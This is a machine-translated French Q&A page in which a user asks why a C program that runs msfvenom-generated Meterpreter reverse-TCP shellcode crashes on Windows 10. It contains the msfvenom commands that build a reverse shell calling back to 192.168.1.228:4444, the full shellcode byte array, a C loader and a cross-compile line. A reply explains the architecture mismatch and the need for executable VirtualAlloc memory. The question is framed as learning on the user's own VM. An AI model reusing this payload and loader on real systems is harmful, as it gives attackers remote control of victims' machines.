web-dev-qa-db-fra.com

Exécution d'un coquillage MSFvenome dans le programme C

Ceci est évidemment à des fins éducatives. Je suis intéressé à en apprendre davantage sur les logiciels malveillants et comment cela fonctionne.

J'essaie d'obtenir un shell TCP inverse compteur de compteur fonctionnant sur Windows 10, mais il est plus important de l'exécuter comme shellcode à partir d'un programme C.

J'ai testé que mon shell d'inverse de Meterpreter fonctionne en générant une PE autonome avec:

msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.1.228 lport=4444 -f exe -o reverse_Shell.exe

Lorsque je l'exécute sur My Windows 10 VM, aucun problème, une session est ouverte.

Maintenant, ce que j'aimerais faire, exécute MSfvenom produit coquillée à partir d'un programme C.

Pour obtenir le coquillage, j'utilise:

msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.1.228 lport=4444 -f c

Ma source C ressemble à ceci:

#include <stdio.h>
#include <stdlib.h>

char shellcode[] =
"\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b\x50\x30"
"\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff"
"\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2\xf2\x52"
"\x57\x8b\x52\x10\x8b\x4a\x3c\x8b\x4c\x11\x78\xe3\x48\x01\xd1"
"\x51\x8b\x59\x20\x01\xd3\x8b\x49\x18\xe3\x3a\x49\x8b\x34\x8b"
"\x01\xd6\x31\xff\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf6\x03"
"\x7d\xf8\x3b\x7d\x24\x75\xe4\x58\x8b\x58\x24\x01\xd3\x66\x8b"
"\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24"
"\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x5f\x5f\x5a\x8b\x12\xeb"
"\x8d\x5d\x68\x33\x32\x00\x00\x68\x77\x73\x32\x5f\x54\x68\x4c"
"\x77\x26\x07\xff\xd5\xb8\x90\x01\x00\x00\x29\xc4\x54\x50\x68"
"\x29\x80\x6b\x00\xff\xd5\x6a\x0a\x68\xc0\xa8\x01\xe4\x68\x02"
"\x00\x11\x5c\x89\xe6\x50\x50\x50\x50\x40\x50\x40\x50\x68\xea"
"\x0f\xdf\xe0\xff\xd5\x97\x6a\x10\x56\x57\x68\x99\xa5\x74\x61"
"\xff\xd5\x85\xc0\x74\x0a\xff\x4e\x08\x75\xec\xe8\x61\x00\x00"
"\x00\x6a\x00\x6a\x04\x56\x57\x68\x02\xd9\xc8\x5f\xff\xd5\x83"
"\xf8\x00\x7e\x36\x8b\x36\x6a\x40\x68\x00\x10\x00\x00\x56\x6a"
"\x00\x68\x58\xa4\x53\xe5\xff\xd5\x93\x53\x6a\x00\x56\x53\x57"
"\x68\x02\xd9\xc8\x5f\xff\xd5\x83\xf8\x00\x7d\x22\x58\x68\x00"
"\x40\x00\x00\x6a\x00\x50\x68\x0b\x2f\x0f\x30\xff\xd5\x57\x68"
"\x75\x6e\x4d\x61\xff\xd5\x5e\x5e\xff\x0c\x24\xe9\x71\xff\xff"
"\xff\x01\xc3\x29\xc6\x75\xc7\xc3\xbb\xf0\xb5\xa2\x56\x6a\x00"
"\x53\xff\xd5";

int main (int argc, char **argv) {
  int (*ret)() = (int(*)())shellcode;
  ret();
}

Et je suis en croix de Kali Linux avec:

x86_64-w64-mingw32-gcc rev_Shell.c -o rev_Shell.exe

Exécuter sur mon Windows VM ne donne que de moi un crash sous la forme de: "Rev_Shell.exe a cessé de fonctionner"

Je suis assez nouveau à C et l'écosystème Windows, mais je suppose que ce type de comportement pourrait sembler malveillant. Windows éteint mon exécution? Quelque chose ne va pas avec mon coquille ou mon code C?

2
ucklvs

Comme mentionné dans les commentaires, vous avez quelques problèmes différents:

  1. Vous utilisez un coquillage 32 bits dans un binaire 64 bits. Cela aura des problèmes car il est susceptible de faire référence au pointeur de la pile comme esp au lieu de rsp, etc. Vous devez utiliser le windows/x64/meterpreter/reverse_tcp Charge utile à la place ou produisez un binaire 32 bits (qui fonctionnera bien sur un système Windows 64 bits, car ils ont une compatibilité à l'envers).
  2. Votre code sera placé dans la pile de l'application, ce qui conduira à ne le prévenir d'être exécutable. Vous aurez besoin de la mémoire Virtualalloc qui est à la fois inscrite et exécutable et copiez votre coquillage dans celle-ci avant d'exécuter. Vous n'avez pas besoin de créer un nouveau fil pour le faire exécuter comme le corps principal de votre exécutable. Il y a un grand exemple de faire juste ceci .
1
David